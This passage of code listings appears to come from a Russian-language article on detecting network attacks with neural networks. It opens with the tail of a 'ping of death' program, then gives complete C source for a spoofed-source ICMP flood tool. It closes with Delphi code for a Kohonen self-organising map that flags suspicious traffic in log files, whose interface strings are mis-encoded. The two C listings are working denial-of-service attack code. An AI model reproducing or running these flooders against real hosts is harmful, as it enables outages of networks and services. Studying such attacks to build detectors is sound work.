if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostname\n", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown host\n", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip->ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

}

}

Листинг 2. Атака лавинного типа подменёнными ICMP – пакетами.

#include <sys/types.h>

#include <sys/socket.h>

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netinet/ip.h>

#include <netinet/in.h>

#include <netinet/ip_icmp.h>

#define IPHDRSIZE sizeof(struct iphdr)

#define ICMPHDRSIZE sizeof(struct icmphdr)

#define VIRGIN "1.1"

void version(void) {

printf("flood %s - by FA-Q\n", VIRGIN);

}

void usage(const char *progname)

{

printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n",progname);

}

unsigned char *dest_name;

unsigned char *spoof_name = NULL;

struct sockaddr_in destaddr, spoofaddr;

unsigned long dest_addr;

unsigned long spoof_addr;

unsigned pingsize, pingsleep, pingnmbr;

char flood = 0;

unsigned short in_cksum(addr, len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return(answer);

}

int resolve( const char *name, struct sockaddr_in *addr, int port )

{

struct hostent *host;

bzero((char *)addr,sizeof(struct sockaddr_in));

if (( host = gethostbyname(name) ) == NULL ) {

fprintf(stderr,"%s will not resolve\n",name);

perror(""); return -1;

}

addr->sin_family = host->h_addrtype;

memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

addr->sin_port = htons(port);

return 0;

}

unsigned long addr_to_ulong(struct sockaddr_in *addr)

{

return addr->sin_addr.s_addr;

}

int resolve_one(const char *name, unsigned long *addr, const char *desc)

{

struct sockaddr_in tempaddr;

if (resolve(name, &tempaddr,0) == -1) {

printf("%s will not resolve\n",desc);

return -1;

}

*addr = tempaddr.sin_addr.s_addr;

return 0;

}

int resolve_all(const char *dest,

const char *spoof)

{

if (resolve_one(dest,&dest_addr,"dest address")) return -1;

if (spoof!=NULL)

if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;

spoofaddr.sin_addr.s_addr = spoof_addr;

spoofaddr.sin_family = AF_INET;

destaddr.sin_addr.s_addr = dest_addr;

destaddr.sin_family = AF_INET;

}

void give_info(void)

{

printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);

}

int parse_args(int argc, char *argv[])

{

int opt;

char *endptr;

while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) {

switch(opt) {

case 'f': flood = 1; break;

case 'c': pingnmbr = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is an invalid number '%s'.\n", argv[0], optarg);

return -1;

}

break;

case 's': pingsize = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is a bad packet size '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'i': pingsleep = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is a bad wait time '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'V': version(); break;

case '?':

case ':': return -1; break;

}

}

if (optind > argc-2) {

return -1;

}

if (!pingsize)

pingsize = 28;

else

pingsize = pingsize - 36;

if (!pingsleep)

pingsleep = 100;

spoof_name = argv[optind++];

dest_name = argv[optind++];

return 0;

}

inline int icmp_echo_send(int socket,

unsigned long spoof_addr,

unsigned long t_addr,

unsigned pingsize)

{

unsigned char packet[5122];

struct iphdr *ip;

struct icmphdr *icmp;

struct iphdr *origip;

unsigned char *data;

int i;

ip = (struct iphdr *)packet;

icmp = (struct icmphdr *)(packet+IPHDRSIZE);

origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);

data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);

memset(packet, 0, 5122);

ip->version = 4;

ip->ihl = 5;

ip->ttl = 255-random()%15;

ip->protocol = IPPROTO_ICMP;

ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);

bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));

bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));

ip->check = in_cksum(packet,IPHDRSIZE);

origip->version = 4;

origip->ihl = 5;

origip->ttl = ip->ttl - random()%15;

origip->protocol = IPPROTO_TCP;

origip->tot_len = IPHDRSIZE + 30;

origip->id = random()%69;

bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

origip->check = in_cksum(origip,IPHDRSIZE);

*((unsigned int *)data) = htons(pingsize);

icmp->type = 8; /* why should this be 3? */

icmp->code = 0;

icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,

(struct sockaddr *)&destaddr,sizeof(struct sockaddr));

}

void main(int argc, char *argv[])

{

int s, i;

int floodloop;

if (parse_args(argc,argv))

{

usage(argv[0]);

return;

}

resolve_all(dest_name, spoof_name);

give_info();

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (!flood)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

}

else

{

floodloop = 0;

if ( pingnmbr && (pingnmbr > 0) )

{

printf("sending... packet limit set\n");

for (i=0;i<pingnmbr;i++)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep((pingsleep*1000));

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

}

printf("\ncomplete, %u packets sent\n", pingnmbr);

}

else {

printf("flooding, (. == 25 packets)\n");

for (i=0;i<1;i)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep(900);

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

}

}

}

}

Листинг 3. Самоорганизующаяся карта признаков.

TNeuron = class

public

IntVal : TIntArray;

ExtVal : TExtArray;

Pos : Extended;

Status : Extended;

Y : Extended;

MassWeight : Array of Extended;

constructor Init(a : PIntArray; b : PExtArray);

function FunctionActivation : Extended;

procedure GetAksonValue(a : PExtArray);

procedure Randomization;

procedure Distantion(a : PExtArray);

end;

TLayer = class

public

ExtArr : TExtArray;

Neurons : Array of TNeuron;

QNeurons : integer;

QInputs : integer;

InputValues : Array of Extended;

OutputValues : Array of Extended;

constructor Init(a : PIntArray; b : PExtArray);

procedure GetInputValues(Values : PExtArray);

procedure GetOutputValues;

procedure Excitement;

procedure randomization;

end;

TKohonenLayer = class(TLayer)

public

eta,sigma : Extended;

h,w : Word;

constructor Init(a : PIntArray; b : PExtArray);

procedure Normalize;

function TheWinnerTakesItAll : integer;

function Classic : integer;

procedure Learning(a : integer; SpeedLearn : Extended);

procedure LearningNeib(a : integer; SpeedLearn : Extended);

procedure SigmaInit(s : Extended);

procedure ConvexCombination(delta : Extended);

procedure NeuralGaz(SpeedLearn : Extended);

end;

procedure TKohonenLayer.SigmaInit(s : Extended);

begin

Sigma:=s;

end;

procedure TKohonenLayer.ConvexCombination(delta : Extended);

var i : integer;

begin

eta:=eta+delta;

sigma:=sigma+0.1-10*delta;

for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs);

end;

constructor TKohonenLayer.Init(a : PIntArray; b : PExtArray);

var i : integer;

New : TIntArray;

begin

Inherited Init(a,b);

New:=a^;

H:=New.Value[3];

W:=Round(New.Value[2]/New.Value[3]);

Randomization;

for i:=0 to New.Value[2]-1 do Neurons[i].Pos:=3.75;

eta:=0;

end;

procedure TKohonenLayer.Normalize;

var i : integer;

Sum : Extended;

begin

Sum:=0;

for i:=0 to QInputs-1 do Sum:=Sum+Sqr(InputValues[i]);

for i:=0 to QInputs-1 do

InputValues[i]:=InputValues[i]/Sqrt(Sum);

end;

function TKohonenLayer.TheWinnerTakesItAll : integer;

var i,p : integer;

Min : Extended;

begin

Min:=Neurons[0].Y;

p:=0;

for i:=1 to QNeurons-1 do

begin

if Neurons[i].Pos>0.75 then

if Min>Neurons[i].Y then

begin

p:=i;

Min:=Neurons[i].Y;

end;

end;

for i:=0 to QNeurons-1 do Neurons[i].Y:=0;

for i:=0 to QNeurons-1 do

if i=p then Neurons[i].Pos:=Neurons[i].Pos-0.75

else Neurons[i].Pos:=Neurons[i].Pos+1/QNeurons;

Neurons[p].Y:=1;

GetOutputValues;

TheWinnerTakesItAll:=p;

end;

function TKohonenLayer.Classic : integer;

var i,p : integer;

Min : Extended;

begin

Min:=Neurons[0].Y;

p:=0;

for i:=1 to QNeurons-1 do

begin

if Min>Neurons[i].Y then

begin

p:=i;

Min:=Neurons[i].Y;

end;

end;

for i:=0 to QNeurons-1 do Neurons[i].Y:=0;

Neurons[p].Y:=1;

GetOutputValues;

Classic:=p;

end;

procedure TKohonenLayer.Learning(a : integer; SpeedLearn : Extended);

var i : integer;

begin

for i:=1 to QInputs do

Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+

SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]);

end;

procedure TKohonenLayer.LearningNeib(a : integer; SpeedLearn : Extended);

var i,j : integer;

begin

for j:=0 to QNeurons-1 do

begin

for i:=1 to QInputs do

Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+

exp(-(Sqr((j div w)-(a div w)) + Sqr((j mod h)-(a mod h)))/(2*Sqr(sigma)))

*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);

end;

end;

procedure TKohonenLayer.NeuralGaz(SpeedLearn : Extended);

var i,j,k,p : integer;

Mass : Array of Extended;

Min : Extended;

begin

SetLength(Mass,QNeurons);

for i:=0 to QNeurons-1 do Mass[i]:=-1;

p:=0;

for i:=0 to QNeurons-1 do

begin

p:=p+1;

Min:=999999;

k:=-1;

for j:=0 to QNeurons-1 do

begin

if Neurons[j].Y<Min then

if Mass[j]=-1 then

begin

k:=j;

Min:=Neurons[j].Y;

end;

end;

Mass[k]:=p;

end;

for j:=0 to QNeurons-1 do

begin

for i:=1 to QInputs do

Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+

exp(-Mass[j]/Sigma)*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);

end;

end;

constructor TNeuron.Init(a : PIntArray; b : PExtArray);

var

New : TIntArray;

begin

New:=a^;

ExtVal:=b^;

IntVal:=TIntArray.Init(2);

IntVal.Value[0]:=New.Value[0]+1;

IntVal.Value[1]:=New.Value[1];

SetLength(MassWeight,IntVal.Value[0]);

if IntVal.Value[0]>0 then MassWeight[0]:=0;

Status:=0;

Y:=0;

Pos:=0;

end;

procedure TNeuron.GetAksonValue(a : PExtArray);

var

i : integer;

b : TExtArray;

begin

b:=a^;

Status:=MassWeight[0];

for i:=1 to IntVal.Value[0]-1 do Status:=Status+MassWeight[i]*b.Value[i-1];

Y:=FunctionActivation;

end;

procedure TNeuron.Distantion(a : PExtArray);

var i : integer;

b : TExtArray;

begin

b:=a^;

Status:=0;

for i:=1 to IntVal.Value[0]-1 do Y:=Y+Sqr(MassWeight[i]-b.Value[i-1]);

Y:=Sqrt(Y);

end;

function TNeuron.FunctionActivation : Extended;

Var m : Extended;

begin

case IntVal.Value[1] of

1 : m:=1/(1+exp(-ExtVal.Value[0]*Status));

2 : m:=ExtVal.Value[0]*Status;

end;

FunctionActivation:=m;

end;

procedure TNeuron.Randomization;

var i : integer;

begin

for i:=0 to IntVal.Value[0]-1 do MassWeight[i]:=random(255);

end;

constructor TLayer.Init(a : PIntArray; b : PExtArray);

var i : integer;

//c : TIntArray;

IntArr : TIntArray;

begin

IntArr:=a^;

QInputs:=IntArr.Value[0];

QNeurons:=IntArr.Value[2];

IntArr.NewLength(2);

ExtArr:=b^;

SetLength(Neurons,SizeOf(TNeuron)*QNeurons);

for i:=0 to QNeurons-1 do Neurons[i]:=TNeuron.Init(@IntArr,b);

SetLength(InputValues,QInputs);

for i:=0 to QInputs-1 do InputValues[i]:=0;

SetLength(OutputValues,QNeurons);

end;

procedure TLayer.GetInputValues(Values : PExtArray);

var i : integer;

a : TExtArray;

begin

a:=Values^;

for i:=0 to QInputs-1 do InputValues[i]:=a.Value[i];

end;

procedure TLayer.Excitement;

var i : integer;

a : TExtArray;

begin

a:=TExtArray.Init(QInputs);

for i:=0 to QInputs-1 do a.Value[i]:=InputValues[i];

for i:=0 to QNeurons-1 do Neurons[i].Distantion(@a);//GetAksonValue(@a);

GetOutputValues;

end;

procedure TLayer.GetOutputValues;

var i : integer;

begin

for i:=0 to QNeurons-1 do OutputValues[i]:=Neurons[i].Y;

end;

procedure TLayer.randomization;

var i : integer;

begin

for i:=0 to QNeurons-1 do Neurons[i].Randomization;

end;

procedure TForm1.Button2Click(Sender: TObject);

var

F : TextFile;

i,j,p,s1,s2,k : integer;

Str : String;

Ch : Char;

Sum : integer;

Temp : Array of String;

begin

OpenDialog1.Filter:='Æóðíàëüíûé ôàéë|*.log|';

if (OpenDialog1.Execute) and fileExists(OpenDialog1.FileName) then

begin

AssignFile(F,OpenDialog1.FileName);

Reset(F);

ReadLn(F);

Read(F,Q);

SetLength(Prot,Q);

SetLength(Host,Q);

SetLength(LocalH,Q);

SetLength(Frag,Q);

SetLength(Size,Q);

SetLength(Proc,Q);

SetLength(Active,Q);

SetLength(HACK,Q);

MyList.Clear;

MyList.Add('Íîìåð');

MyList.Add('Ïðîòîêîë');

MyList.Add('Õîñò');

MyList.Add('Ñâîÿ ËÂÑ');

MyList.Add('Ôðàãìåíòàöèÿ');

MyList.Add('Ðàçìåð');

MyList.Add('Ïðîöåññîð %%');

MyList.Add('Îòâå÷àåò');

StringGrid1.RowCount:=Q+1;

StringGrid1.Rows[0]:=MyList;

for i:=0 to Q-1 do

begin

MyList.Clear;

Read(F,j);

MyList.Add(IntToStr(j));

//Memo4.Lines.Add(IntToStr(j));

Read(F,Ch);

Read(F,Ch);

Read(F,Ch);

Prot[i]:='';

While(ch<>' ') do

begin

Prot[i]:=Prot[i]+Ch;

Read(F,Ch);

end;

MyList.Add(Prot[i]);

Read(F,Ch);

Read(F,Ch);

Read(F,Ch);

Host[i]:='';

While(ch<>' ') do

begin

Host[i]:=Host[i]+Ch;

Read(F,Ch);

end;

MyList.Add(Host[i]);

Read(F,Ch);

Read(F,Ch);

Str:='';

While(ch<>' ') do

begin

Str:=Str+Ch;

Read(F,Ch);

end;

MyList.Add(Str);

if Str='YES' then LocalH[i]:=1 else LocalH[i]:=0;

Read(F,Ch);

Read(F,Ch);

Str:='';

While(ch<>' ') do

begin

Str:=Str+Ch;

Read(F,Ch);

end;

MyList.Add(Str);

if Str='YES' then Frag[i]:=1 else Frag[i]:=0;

Read(F,Size[i]);

MyList.Add(IntToStr(Size[i]));

Read(F,Proc[i]);

MyList.Add(IntToStr(Proc[i]));

Read(F,Ch);

Read(F,Ch);

Read(F,Ch);

Str:='';

While(ch<>' ') do

begin

Str:=Str+Ch;

Read(F,Ch);

end;

MyList.Add(Str);

if Str='YES' then Active[i]:=1 else Active[i]:=0;

StringGrid1.Rows[j]:=MyList;

Read(F,Ch);

if Ch='H' then HACK[i]:=1 else HACK[i]:=0;

//Memo4.Lines.Add('**************');

end;

//Memo4.Lines.Add(IntToStr(Q));

CloseFile(F);

SetLength(Temp,10);

SetLength(Mass,(Q-1)*11);

SetLength(SHack,Q-1);

for i:=0 to Q-12 do

begin

Mass[12*i]:=0;

for j:=0 to 9 do Mass[12*i]:=Mass[12*i]+LocalH[i+j];

Mass[12*i+1]:=0;

for j:=0 to 9 do Mass[12*i+1]:=Mass[12*i+1]+Frag[i+j];

Mass[12*i+2]:=0;

Mass[12*i+3]:=0;

for j:=0 to 9 do

if Prot[i+j]='TCP' then Mass[12*i+2]:=Mass[12*i+2]+1;

for j:=0 to 9 do

if Prot[i+j]='UDP' then Mass[12*i+3]:=Mass[12*i+3]+1;

Sum:=1;

s1:=0;

for j:=0 to 9 do

begin

Str:=Host[i+j];

p:=0;

for k:=0 to 9 do

begin

if Str=Host[i+k] then

begin

p:=p+1;

s2:=k;

end;

end;

if p>Sum then

begin

Sum:=p;

s1:=s2;

end;

end;

Mass[12*i+4]:=Sum;

Mass[12*i+5]:=LocalH[i+s1];

Sum:=0;

for j:=0 to 9 do Sum:=Sum+Proc[i+j];

Mass[12*i+6]:=Sum/10;

Mass[12*i+7]:=Proc[i+9]-Proc[i];

Sum:=0;

for j:=0 to 9 do Sum:=Sum+Size[i+j];

Mass[12*i+8]:=Sum/10;

Sum:=0;

for j:=0 to 9 do

if (Size[i+j]>=0.8*Mass[12*i+8])and

(Size[i+j]<=1.2*Mass[12*i+8]) then Sum:=Sum+1;

Mass[12*i+9]:=Sum;

Sum:=0;

for j:=0 to 9 do Sum:=Sum+Active[i+j];

Mass[12*i+10]:=Sum;

for j:=0 to 9 do Temp[j]:=Host[i+j];

for j:=0 to 8 do

begin

Str:=Temp[j];

for k:=0 to 9 do

if k<>j then

if Str=Temp[k] then Temp[k]:='';

end;

Sum:=0;

for j:=0 to 9 do

if Temp[j]<>'' then Sum:=Sum+1;

Mass[12*i+11]:=Sum;

Sum:=0;

for j:=0 to 9 do Sum:=Sum+HACK[i+j];

SHAck[i]:=Sum;

end;

end;

end;

procedure TForm1.InitializationMap;

var i,j,p : integer;

begin

for i:=0 to H*W-1 do

begin

p:=Random(Q-13);

for j:=0 to 10 do

KMap.Neurons[i].MassWeight[j+1]:=Mass[12*p+j];

end;

end;

procedure TForm1.Button3Click(Sender: TObject);

var i,j,p,k,m : integer;

Quant,Winner : integer;

Part : TExtArray;

SMax,SMin : Extended;

begin

InitializationMap;

for i:=0 to Image1.Height-1 do

for j:=0 to Image1.Width-1 do

Image1.Picture.Bitmap.Canvas.Pixels[i,j]:=RGB(150,150,150);

Quant:=StrToInt(Edit3.Text);

Part:=TExtArray.Init(12);

SMax:=0.7;

SMin:=0.0001;

ProgressBar1.Max:=Quant;

ProgressBar1.Position:=0;

for i:=0 to Quant-1 do

begin

KMap.SigmaInit(10*(1-i/Quant)+0.1);

p:=Random(Q-12);

for j:=0 to 11 do Part.Value[j]:=Mass[12*p+j];

KMap.GetInputValues(@Part);

KMap.Excitement;

Case RadioGroup1.ItemIndex of

0:

begin

Winner:=KMap.Classic;

if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)

else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant);

end;

1:

begin

Winner:=KMAp.TheWinnerTakesItAll;

if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)

else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant)

end;

2:

begin

KMap.NeuralGaz(SMax-(SMax-SMin)*i/Quant);

end;

end;

ProgressBar1.StepBy(1);

end;

ProgressBar1.Position:=0;

for i:=0 to KMap.QNeurons-1 do

KMap.Neurons[i].MassWeight[0]:=0;

for i:=0 to Q-12 do

begin

for j:=0 to 11 do Part.Value[j]:=Mass[12*i+j];

KMap.GetInputValues(@Part);

KMap.Excitement;

Winner:=KMap.Classic;

KMap.Neurons[Winner].MassWeight[0]:=1;

//Memo4.Lines.Add(IntToStr(Winner));

if SHack[i]>=8 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,0,0);

end

else if SHack[i]=7 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,40,40);

end

else if SHack[i]=6 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,80,80);

end

else if SHack[i]=5 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,120,120);

end

else if SHack[i]=4 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,160,160);

end

else if SHack[i]=3 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,200,200);

end

else

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,225,225);

end;

//Image2.Picture.Bitmap.Canvas.

//.Pixels[j,i]:=RGB(

end;

for i:=0 to KMap.QNeurons-1 do

begin

if KMap.Neurons[i].MassWeight[0]=1 then

begin

Memo3.Lines.Add('Íåéðîí '+IntToStr(i));

for j:=0 to KMap.QInputs-1 do

Memo3.Lines.Add(FloatToStr(KMap.Neurons[i].MassWeight[j]));

end;

end;

end;